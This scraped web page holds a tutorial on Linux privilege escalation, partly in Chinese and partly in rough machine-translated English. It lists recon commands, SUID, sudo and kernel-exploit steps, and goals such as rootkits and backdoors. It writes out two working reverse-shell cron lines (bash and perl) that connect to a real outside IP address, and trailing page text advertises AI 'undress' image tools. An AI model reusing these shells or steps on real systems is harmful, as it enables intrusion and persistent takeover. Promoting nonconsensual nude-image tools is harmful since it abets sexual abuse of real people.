


提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限;Linux提权一般是指获取root用户权限的操作过程。Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况;提权是否成功的关键是信息收集是否完整。
本教程操作环境:linux7.3系统、Dell G3电脑。
linux提权概念介绍
提权是什么
提权指的是低权限用户利用各种合法的或非法的手段获取到了高于本用户的系统权限。
详细来说,就是指利用操作系统或应用软件中的程序漏洞、设计缺陷或配置疏忽来获取对应用程序或用户来说受保护资源的高级访问权限。其结果是,应用程序可以获取比应用程序开发者或系统管理员预期的更高的特权,从而可以执行授权的动作。
Linux提权一般是指获取root用户权限的操作过程。
Linux提权目的
提权操作有风险为什么还要进行提权?什么情况下需要进行提权?获取高权限之后可以做什么?
通过命令执行漏洞获取的一个反弹shell或是通过Web漏洞获取了一个Webshell后,一般情况下权限都较低。在执行一些重要敏感的操作或是对重要的文件进行修改时无法正常进行,便需要进行提权。Linux中安装的数据库、中间件等一般都不是以root用户启动的,通过数据库或是中间件获取到的权限是是低权限的。
获取一个root权限是每一个黑客的梦想。
- 读取写入服务器中的重要文件:
- 修改root密码
- 替换系统命令
- 在系统中放置更为隐蔽的后门:
- ping后门
- Rootkit
- 保证服务器重启之后权限仍在:
- 内存后门
Linux提权本质
Linux提权的本质一方面是信息收集,另一方面是对内核漏洞的掌握情况。
Linux信息收集
任何提权的第一步操作一定是对操作系统进行信息收集。提权是否成功的关键是信息收集是否完整。
-
内核设备信息:
- uname -a 打印所有可用的系统信息
- uname -r 内核版本
- uname -n 系统主机名。
- uname -m 查看系统内核架构(64位/32位)
- hostname 系统主机名
- cat /proc/version 内核信息
- cat /etc/*-release 分发信息
- cat /etc/issue 分发信息
- cat /proc/cpuinfo CPU信息
-
用户和群组信息:
- cat /etc/passwd 列出系统上的所有用户
- cat /etc/group 列出系统上的所有组
- grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列出所有的超级用户账户
- whoami 查看当前用户
- w 谁目前已登录,他们正在做什么
- last 最后登录用户的列表
- lastlog 所有用户上次登录的信息
- lastlog -u %username% 有关指定用户上次登录的信息
- lastlog |grep -v "Never" 以前登录用户的信息
-
用户和权限信息:
- whoami 当前用户名
- id 当前用户信息
- cat /etc/sudoers 谁被允许以root身份执行
- sudo -l 当前用户可以以root身份执行操作
-
环境系统变量信息:
- env 显示环境变量
- set 现实环境变量
- echo %PATH 路径信息
- history 显示当前用户的历史命令记录
- pwd 输出工作目录
- cat /etc/profile 显示默认系统变量
- cat /etc/shells 显示可用的shell
内核漏洞提权
内核漏洞提权指的是普通用户访问操作系统内核,利用内核漏洞将权限提高为root权限,一般首先需要知晓操作系统的内核,内核的版本等信息,再寻找内核漏洞的EXP进行提权
linux常用查看系统信息命令 uname -a 查看系统全部信息 uname -r 查看内核版本 cat /proc/version 查看内核信息 cat /etc/*-realease 查看CentOS版本 cat /etc/issue 查看Ubuntu版本 cat /etc/redhat-release 查看RedHat版本 env 查看环境变量 echo $PATH 查看当前环境变量 awk -F: '($3==0){print $1}' /etc/passwd 查找UID为0的用户 find / -user root -perm -4000 -exec ls -ldb {} \; 查找设置了SUID的文件
1)查看系统的内核版本
2) Use kali’s searchsploit to find the corresponding kernel vulnerability or search for the corresponding kernel vulnerability online
3) Use gcc to Compile the C language program into an executable file, upload it to the target machine, and execute it to escalate privileges to root privileges
Other privilege escalation methods in Linux
1. Scheduled task privilege escalation
Utilization principle:
- When /bin/sh points to /bin/dash (ubuntu defaults to this, and the current target machine also does this), use bash to rebound the shell. Play like this: * * * * * root bash -c "bash -i >&/dev/tcp/106.13.124.93/2333 0>&1"
I don’t know why it is very slow when playing the shell like this, please be patient and wait. - */1 * * * * root perl -e 'use Socket;\(i="106.13.124.93";\)p=2333;socket(S,PF_INET,SOCK_STREAM ,getprotobyname("tcp"));if(connect(S,sockaddr_in(\(p,inet_aton(\)i)))){open(STDIN,">&S");open( STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2. Utilization SUID privilege escalation
SUID concept: SUID (set user ID) is a permission given to a file. It will appear in the execution bit of the file owner's permissions. It has this A file with this kind of permission will allow the caller to temporarily obtain the permissions of the file owner when it is executed. SUID allows the caller to run the file as the file owner, so our idea of using SUID to escalate privileges is to run the file with the SUID owned by the root user. Then when we run the file, we have to obtain the identity of the root user. So, why do we need to set this permission on Linux binaries? In fact, there are many reasons. For example, the program ping requires root privileges to open a network socket, but the user who executes the program is usually an ordinary user to verify connectivity with other hosts.
SUID privilege escalation: What is suid privilege escalation? A file has an s flag, and if it enters root, then we can have root permissions by running this program, and the program must be able to execute commands, then we can upgrade from an ordinary user to root permissions.
-
Find local files that meet the conditions.
- find / -user root -perm -4000 -print 2>/dev/null
- find / -perm -u=s -type f 2>/dev/null
- find / -user root -perm -4000 -exec ls -ldb {} ;
-
Common programs that can escalate privileges
- nmap vim find Bash More Less Nano cp netcat
3. Use SUDO to escalate privileges
Can be used in Linux systems sudo executes a command that only root can execute. The configuration file is saved in /etc/sudoers. sudo -l can list the commands that the current user supports sudo.
Try to analyze the vulnerability from the code level.
4. Environment variable privilege escalation
-
View the current environment variables:
- echo $PATH
5. Services running with root privileges
- Services running with root privileges, including third-party software, can be provided right.
Related recommendations: "Linux Video Tutorial"
The above is the detailed content of What does linux privilege escalation mean?. For more information, please follow other related articles on the PHP Chinese website!

MaintenanceModeinLinuxisaspecialbootenvironmentforcriticalsystemmaintenancetasks.Itallowsadministratorstoperformtaskslikeresettingpasswords,repairingfilesystems,andrecoveringfrombootfailuresinaminimalenvironment.ToenterMaintenanceMode,interrupttheboo

The core components of Linux include kernel, file system, shell, user and kernel space, device drivers, and performance optimization and best practices. 1) The kernel is the core of the system, managing hardware, memory and processes. 2) The file system organizes data and supports multiple types such as ext4, Btrfs and XFS. 3) Shell is the command center for users to interact with the system and supports scripting. 4) Separate user space from kernel space to ensure system stability. 5) The device driver connects the hardware to the operating system. 6) Performance optimization includes tuning system configuration and following best practices.

The five basic components of the Linux system are: 1. Kernel, 2. System library, 3. System utilities, 4. Graphical user interface, 5. Applications. The kernel manages hardware resources, the system library provides precompiled functions, system utilities are used for system management, the GUI provides visual interaction, and applications use these components to implement functions.

Linux maintenance mode can be entered through the GRUB menu. The specific steps are: 1) Select the kernel in the GRUB menu and press 'e' to edit, 2) Add 'single' or '1' at the end of the 'linux' line, 3) Press Ctrl X to start. Maintenance mode provides a secure environment for tasks such as system repair, password reset and system upgrade.

The steps to enter Linux recovery mode are: 1. Restart the system and press the specific key to enter the GRUB menu; 2. Select the option with (recoverymode); 3. Select the operation in the recovery mode menu, such as fsck or root. Recovery mode allows you to start the system in single-user mode, perform file system checks and repairs, edit configuration files, and other operations to help solve system problems.

The core components of Linux include the kernel, file system, shell and common tools. 1. The kernel manages hardware resources and provides basic services. 2. The file system organizes and stores data. 3. Shell is the interface for users to interact with the system. 4. Common tools help complete daily tasks.

The basic structure of Linux includes the kernel, file system, and shell. 1) Kernel management hardware resources and use uname-r to view the version. 2) The EXT4 file system supports large files and logs and is created using mkfs.ext4. 3) Shell provides command line interaction such as Bash, and lists files using ls-l.

The key steps in Linux system management and maintenance include: 1) Master the basic knowledge, such as file system structure and user management; 2) Carry out system monitoring and resource management, use top, htop and other tools; 3) Use system logs to troubleshoot, use journalctl and other tools; 4) Write automated scripts and task scheduling, use cron tools; 5) implement security management and protection, configure firewalls through iptables; 6) Carry out performance optimization and best practices, adjust kernel parameters and develop good habits.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

PhpStorm Mac version
The latest (2018.2.1) professional PHP integrated development tool

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment

WebStorm Mac version
Useful JavaScript development tools

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

Notepad++7.3.1
Easy-to-use and free code editor